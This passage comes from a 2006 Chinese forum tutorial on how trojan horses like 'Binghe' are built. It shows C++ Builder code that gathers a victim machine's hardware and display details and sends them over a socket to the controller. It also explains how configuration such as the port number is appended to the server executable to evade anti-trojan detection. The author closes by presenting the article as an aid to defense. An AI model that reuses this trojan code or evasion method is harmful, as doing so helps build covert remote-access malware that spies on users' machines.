fwrite(cs.c_str(),cs.Length(),1,fp); \r\n        } \r\n    } \r\nint wavedevice,mididevice; \r\nWAVEOUTCAPS wavecap; \r\nMIDIOUTCAPS midicap; \r\nwavedevice=(int)waveOutGetNumDevs(); //波形设备信息 \r\nmididevice=(int)midiOutGetNumDevs(); // MIDI设备信息 \r\nif (wavedevice!=0){ \r\n    waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS)); \r\n    cs=\"当前波形设备:\"+String(wavecap.szPname)+\"\\n\"; \r\n    fwrite(cs.c_str(),cs.Length(),1,fp); \r\n    } \r\nif (mididevice!=0){ \r\n    midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS)); \r\n    cs=\"当前MIDI设备:\"+String(midicap.szPname)+\"\\n\"; \r\n    fwrite(cs.c_str(),cs.Length(),1,fp); \r\n    } \r\nlong double tcs; \r\nlong double tc; \r\nlong int bpp,cp; \r\ncs=\"当前分辨率为:\"+String(Screen->Width)+AnsiString(\"*\"+ String(Screen->Height)+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nbpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL); \r\ntcs=pow(2,bpp); //计算色彩的梯度数 \r\ncp= GetDeviceCaps(Form1->Canvas->Handle,PLANES); \r\ntc= pow(double(tcs),double(cp)); //计算色深 \r\nAnsiString sss; \r\nsss=bpp; \r\ncs=\"当前色深为:\"+sss+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nfclose(fp); \r\nAnsiString FileName=\"temp.had\"; \r\nchar *buf; \r\nTcpMsgUint Msg2; \r\nstrcpy(Msg2.TPassword,Password); \r\nTMemoryStream *ms=new TMemoryStream; \r\nms->Clear(); \r\nif (!FileExists(FileName)) CheckHard(); \r\nTFileStream *fs=new TFileStream(FileName,fmOpenRead); \r\nbuf=new char[fs->Size+sizeof(TcpMsgUint)+1]; \r\nfs->Read(buf,fs->Size); \r\nMsg2.Type=MsgGetHardWare; \r\nMsg2.Length=fs->Size; \r\nFileClose(fs->Handle); \r\nms->Write(&Msg2,sizeof(TcpMsgUint)); \r\nms->Write(buf,Msg2.Length); \r\nms->osition=0; \r\ndelete []buf; \r\ntry{ \r\n    sock->SendStream(ms); \r\n    } \r\ncatch(Exception&e) { \r\n    } \r\n} \r\n\r\n  上面一段程序,基本上把相关的系统信息都取到了。

论坛徽章:
0
8 [报告]
发表于 2006-08-18 23:27 |只看该作者
  7、服务器端程序的包装与加密 \r\n\r\n  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢? \r\n\r\n  首先让我们来做一个实验: \r\n\r\n进入Windows的命令行模式下做如下操作 \r\n1)C:\\>copy Server.Exe Server.Bak \r\n2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net” \r\n3)C:\\>type Text.Txt>>Server.Exe \r\n4)运行Server.Exe \r\n\r\n  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。\r\n\r\n  8、总结 \r\n\r\n  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP